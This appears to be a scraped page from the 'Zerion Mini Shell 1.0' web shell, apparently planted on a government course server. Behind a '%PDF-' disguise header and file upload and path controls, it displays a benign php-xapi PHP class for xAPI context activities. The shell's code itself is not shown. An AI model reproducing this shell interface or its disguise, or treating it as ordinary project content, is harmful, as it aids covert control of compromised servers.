%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/php-xapi/model/src/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/php-xapi/model/src/ContextActivities.php

<?php

/*
 * This file is part of the xAPI package.
 *
 * (c) Christian Flothmann <christian.flothmann@xabbuh.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Xabbuh\XApi\Model;

/**
 * xAPI context activities.
 *
 * @author Christian Flothmann <christian.flothmann@xabbuh.de>
 */
final class ContextActivities
{
    private $parentActivities;
    private $groupingActivities;
    private $categoryActivities;
    private $otherActivities;

    /**
     * @param Activity[]|null $parentActivities
     * @param Activity[]|null $groupingActivities
     * @param Activity[]|null $categoryActivities
     * @param Activity[]|null $otherActivities
     */
    public function __construct(array $parentActivities = null, array $groupingActivities = null, array $categoryActivities = null, array $otherActivities = null)
    {
        $this->parentActivities = $parentActivities;
        $this->groupingActivities = $groupingActivities;
        $this->categoryActivities = $categoryActivities;
        $this->otherActivities = $otherActivities;
    }

    public function withAddedParentActivity(Activity $parentActivity): self
    {
        $contextActivities = clone $this;

        if (!is_array($contextActivities->parentActivities)) {
            $contextActivities->parentActivities = array();
        }

        $contextActivities->parentActivities[] = $parentActivity;

        return $contextActivities;
    }

    public function withoutParentActivities(): self
    {
        $contextActivities = clone $this;
        $contextActivities->parentActivities = null;

        return $contextActivities;
    }

    public function withAddedGroupingActivity(Activity $groupingActivity): self
    {
        $contextActivities = clone $this;

        if (!is_array($contextActivities->groupingActivities)) {
            $contextActivities->groupingActivities = array();
        }

        $contextActivities->groupingActivities[] = $groupingActivity;

        return $contextActivities;
    }

    public function withoutGroupingActivities(): self
    {
        $contextActivities = clone $this;
        $contextActivities->groupingActivities = null;

        return $contextActivities;
    }

    public function withAddedCategoryActivity(Activity $categoryActivity): self
    {
        $contextActivities = clone $this;

        if (!is_array($contextActivities->categoryActivities)) {
            $contextActivities->categoryActivities = array();
        }

        $contextActivities->categoryActivities[] = $categoryActivity;

        return $contextActivities;
    }

    public function withoutCategoryActivities(): self
    {
        $contextActivities = clone $this;
        $contextActivities->categoryActivities = null;

        return $contextActivities;
    }

    public function withAddedOtherActivity(Activity $otherActivity): self
    {
        $contextActivities = clone $this;

        if (!is_array($contextActivities->otherActivities)) {
            $contextActivities->otherActivities = array();
        }

        $contextActivities->otherActivities[] = $otherActivity;

        return $contextActivities;
    }

    public function withoutOtherActivities(): self
    {
        $contextActivities = clone $this;
        $contextActivities->otherActivities = null;

        return $contextActivities;
    }

    /**
     * @return Activity[]|null
     */
    public function getParentActivities(): ?array
    {
        return $this->parentActivities;
    }

    /**
     * @return Activity[]|null
     */
    public function getGroupingActivities(): ?array
    {
        return $this->groupingActivities;
    }

    /**
     * @return Activity[]|null
     */
    public function getCategoryActivities(): ?array
    {
        return $this->categoryActivities;
    }

    /**
     * @return Activity[]|null
     */
    public function getOtherActivities(): ?array
    {
        return $this->otherActivities;
    }
}

Zerion Mini Shell 1.0